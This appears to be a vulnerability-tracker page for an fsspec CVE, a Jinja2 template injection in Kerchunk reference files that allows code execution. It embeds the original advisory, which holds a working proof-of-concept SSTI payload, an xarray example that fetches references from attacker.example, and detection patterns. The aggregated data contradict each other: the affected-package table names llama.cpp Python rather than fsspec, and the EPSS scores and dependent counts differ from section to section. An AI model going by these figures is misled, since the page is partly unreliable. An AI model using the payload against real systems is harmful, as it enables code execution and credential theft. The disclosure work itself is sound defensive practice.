CVE-2026-104851: fsspec: Jinja2 SSTI in Kerchunk refs allows RCE

GHSA-27vj-qcqg-25rcHIGHCISA: ATTEND
Published October 5, 2026
CISO Take

fsspec's ReferenceFileSystem (used for Kerchunk catalogues) renders fields from a references JSON with an unsandboxed Jinja2 environment, so anyone who controls that JSON can run arbitrary Python on the machine that opens it, before any data is read. It is a template injection of the same class as CVE-2024-34359 in llama-cpp-python. It is rated high (CVSS 8.8) and needs only one user action, such as opening a URL through xarray or dask. The EPSS percentile is 77% (score 0.003), so exploitation is plausible, and the advisory includes a working PoC. It is not in CISA KEV and has no Nuclei template. fsspec has 352 tracked downstream dependents, and it is a base dependency of pandas, dask, xarray, Hugging Face datasets and many ML data pipelines, so the real blast radius is much larger. Upgrade to fsspec 2026.6.0 or later, and until then do not open Kerchunk or reference filesystems from untrusted sources.

Sources:NVDGitHub AdvisoryEPSSATLAS

What is the risk?

High. The attack is network-reachable with low complexity, no privileges and one user action (CVSS 8.8, C/I/A all High). Exploitation needs only a hosted JSON file, and the advisory's PoC makes it trivial to reproduce. EPSS is low in absolute terms (0.00317) but sits at the 77th percentile. There is no KEV listing, no scanner template and no confirmed in-the-wild exploitation. Exposure is highest where the library fetches reference documents from URLs a user or tenant supplies, such as notebook servers, batch runners and data platforms. The code runs with the privileges of the data process, which in ML environments often hold cloud credentials, object storage access and GPU nodes.

How does the attack unfold?

Craft malicious catalogue
Attacker builds a Kerchunk references JSON with a Jinja2 SSTI payload in the gen, templates or refs fields and hosts it.
AML.T0079
Delivery to victim
A user or pipeline opens the URL via fsspec.filesystem('reference') or xarray.open_dataset('reference://').
AML.T0011.003
Code execution
The unsandboxed Jinja2 render runs arbitrary Python at parse time, before any data is read.
AML.T0050
Impact
The attacker steals credentials, tampers with datasets or models in storage, and moves laterally in the ML environment.
AML.T0010.002

What systems are affected?

PackageEcosystemVulnerable RangePatched
llama.cpp Pythonpip>= 0.9.0, < 2026.6.02026.6.0
10.7K362 dependentsPushed 1mo ago100% patched~0d to patchFull package profile →

Do you use llama.cpp Python? You're affected.

How severe is it?

CVSS 3.1
8.8 / 10
EPSS
0.5%
chance of exploitation in 30 days
Higher than 41% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
○CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AVACPRUISCIA
AVNetwork
ACLow
PRNone
UIRequired
SUnchanged
CHigh
IHigh
AHigh

What should I do?

1 step
  1. 1) Upgrade fsspec to 2026.6.0 or later (all versions >= 0.9.0 are affected). 2) Until you can patch, do not open reference:// filesystems or Kerchunk JSON from untrusted or unverified sources, and block user-supplied URLs in data platforms. 3) Inventory with pip freeze or SBOM tools, including transitive installs in notebook images, containers and CI. 4) Pin and verify the integrity of Kerchunk catalogues stored in buckets, and restrict write access to them. 5) Run data jobs with least-privilege, short-lived credentials and egress filtering. 6) Detect by reviewing reference JSON for '{{', '__class__', '__globals__' or '__init__' in templates, gen, key, url and refs fields, and by alerting on child processes (sh, curl) spawned from Python data workers.

What does CISA's SSVC say?

DecisionAttend
Exploitationpoc
AutomatableNo
Technical Impacttotal

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 15-Accuracy, robustness and cybersecurity
ISO 42001
A.10.3-Suppliers
NIST AI RMF
MANAGE 2.3-Responses to unknown or emergent risks
OWASP LLM Top 10
LLM03-Supply Chain

Frequently Asked Questions

What is CVE-2026-104851?

fsspec's ReferenceFileSystem (used for Kerchunk catalogues) renders fields from a references JSON with an unsandboxed Jinja2 environment, so anyone who controls that JSON can run arbitrary Python on the machine that opens it, before any data is read. It is a template injection of the same class as CVE-2024-34359 in llama-cpp-python. It is rated high (CVSS 8.8) and needs only one user action, such as opening a URL through xarray or dask. The EPSS percentile is 77% (score 0.003), so exploitation is plausible, and the advisory includes a working PoC. It is not in CISA KEV and has no Nuclei template. fsspec has 352 tracked downstream dependents, and it is a base dependency of pandas, dask, xarray, Hugging Face datasets and many ML data pipelines, so the real blast radius is much larger. Upgrade to fsspec 2026.6.0 or later, and until then do not open Kerchunk or reference filesystems from untrusted sources.

Is CVE-2026-104851 actively exploited?

No confirmed active exploitation of CVE-2026-104851 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-104851?

1) Upgrade fsspec to 2026.6.0 or later (all versions >= 0.9.0 are affected). 2) Until you can patch, do not open reference:// filesystems or Kerchunk JSON from untrusted or unverified sources, and block user-supplied URLs in data platforms. 3) Inventory with pip freeze or SBOM tools, including transitive installs in notebook images, containers and CI. 4) Pin and verify the integrity of Kerchunk catalogues stored in buckets, and restrict write access to them. 5) Run data jobs with least-privilege, short-lived credentials and egress filtering. 6) Detect by reviewing reference JSON for '{{', '__class__', '__globals__' or '__init__' in templates, gen, key, url and refs fields, and by alerting on child processes (sh, curl) spawned from Python data workers.

What systems are affected by CVE-2026-104851?

This vulnerability affects the following AI/ML architecture patterns: training pipelines, data loading and preprocessing pipelines, notebook and data science platforms, batch inference jobs, ML data lakes and object storage access.

What is the CVSS score for CVE-2026-104851?

CVE-2026-104851 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.47%.

What is the AI security impact?

Affected AI Architectures

training pipelinesdata loading and preprocessing pipelinesnotebook and data science platformsbatch inference jobsML data lakes and object storage access

MITRE ATLAS Techniques

AML.T0010.002Data
AML.T0011.000Unsafe AI Artifacts
AML.T0011.003Malicious Link
AML.T0050Command and Scripting Interpreter

Compliance Controls Affected

EU AI Act: Art. 15
ISO 42001: A.10.3
NIST AI RMF: MANAGE 2.3
OWASP LLM Top 10: LLM03

What are the technical details?

Original Advisory

### Summary `fsspec.implementations.reference.ReferenceFileSystem` parses a "references" JSON document (Kerchunk format) supplied either inline or via a URL. The parser renders fields from this JSON through **un-sandboxed** `jinja2.Template(...).render(...)` calls in three locations. An attacker who controls the JSON document — typically by hosting it at a URL that the victim opens with `fsspec.filesystem("reference", fo=URL)` or via `xarray.open_dataset("reference://...")` — achieves arbitrary Python code execution on the victim machine, before any data is read. This mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359) in `llama-cpp-python`, where externally-sourced template strings were rendered with the default unrestricted Jinja2 environment. ### Affected versions All versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in commit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on the latest released version `2025.10.0`. ### Affected sinks All in `fsspec/implementations/reference.py`: | Sink | Location | Trigger | |---|---|---| | A — `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` | | B — `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context | | C — `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) | Sink C is the most severe: it is reached unconditionally for any references JSON that includes a `gen` field. The vulnerable code: ```python # fsspec/implementations/reference.py # Sink A @lru_cache(1000) def _render_jinja(u): return jinja2.Template(u).render(**self.templates) # <- unsandboxed # Sink B def _process_templates(self, tmp): ... for k, v in tmp.items(): if "{{" in v: import jinja2 self.templates[k] = lambda temp=v, **kwargs: jinja2.Template( temp # <- unsandboxed ).render(**kwargs) # Sink C def _process_gen(self, gens): ... for pr in products: import jinja2 key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed if ("offset" in gen) and ("length" in gen): offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed ``` ### Proof of concept (Sink C, minimal) Save as `poc.py`: ```python import http.server, json, socketserver, threading, time, fsspec from pathlib import Path PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}" REF = { "version": 1, "templates": {}, "refs": {"x": "x"}, "gen": [{ "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}", "offset": "0", "length": "0", "dimensions": {"i": [0]}, }], } body = json.dumps(REF).encode() class H(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200); self.end_headers(); self.wfile.write(body) def log_message(self, *a, **kw): pass srv = socketserver.TCPServer(("127.0.0.1", 0), H) threading.Thread(target=srv.serve_forever, daemon=True).start() url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json" for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink() try: fsspec.filesystem("reference", fo=url) except Exception as e: print("exception:", e) srv.shutdown() time.sleep(0.3) print("markers:", list(Path("/tmp").glob("fsspec_pwned_*"))) ``` Run: ``` pip install fsspec aiohttp requests jinja2 python3 poc.py # → markers: [PosixPath('/tmp/fsspec_pwned_<user>')] ``` ### End-to-end via xarray (real-world consumer pathway) ```python import xarray as xr ds = xr.open_dataset( "reference://", engine="zarr", backend_kwargs={ "consolidated": False, "storage_options": { "fo": "http://attacker.example/refs.json", "remote_protocol": "http", }, }, ) # RCE fires before any data is materialised. ``` ### Tested on - fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14 - fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux ### Impact `fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk** format, widely used in the Pangeo / Earth-observation / climate data-science ecosystem to provide cloud-optimised views of HDF5 / NetCDF / GRIB archives hosted on object storage. Realistic attack vectors: - A user opens a community-shared Kerchunk catalogue link via xarray/dask. - A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs. - A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain). In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code. ### Suggested fix Replace `jinja2.Template(...)` with a shared `jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This matches the post-incident hardening applied to `llama-cpp-python` after CVE-2024-34359. ```python # At module top def _sandboxed_env(): import jinja2.sandbox env = getattr(_sandboxed_env, "_env", None) if env is None: env = jinja2.sandbox.ImmutableSandboxedEnvironment() _sandboxed_env._env = env return env ``` Then in each sink, replace `jinja2.Template(s).render(...)` with `_sandboxed_env().from_string(s).render(...)`. The legitimate Kerchunk template syntax (simple variable substitution like `{{ varname }}`) continues to work under the sandbox; only the SSTI gadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.) are refused with `jinja2.exceptions.SecurityError`. A complete patch is available on request. ### Credit Reported by Dany.A

Exploitation Scenario

An attacker publishes a Kerchunk catalogue on a public bucket or shares a link in a data community or ticket. The JSON contains a 'gen' entry whose key holds a Jinja2 expression such as joiner.__init__.__globals__.os.popen(...). A data scientist or an automated pipeline opens it with xarray.open_dataset('reference://...') or fsspec.filesystem('reference', fo=URL). The payload runs during parsing, before any data is read, and steals cloud credentials, SSH keys and API tokens from the environment. It can then move into training clusters or model registries, or tamper with datasets and artifacts that feed production models.

Weaknesses (CWE)

CWE-1336 — Improper Neutralization of Special Elements Used in a Template Engine: The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.

  • [Architecture and Design] Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.
  • [Implementation] Use the template engine's sandbox or restricted mode, if available.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Timeline

Published
October 5, 2026
Last Modified
October 5, 2026
First Seen
October 6, 2026

Related Vulnerabilities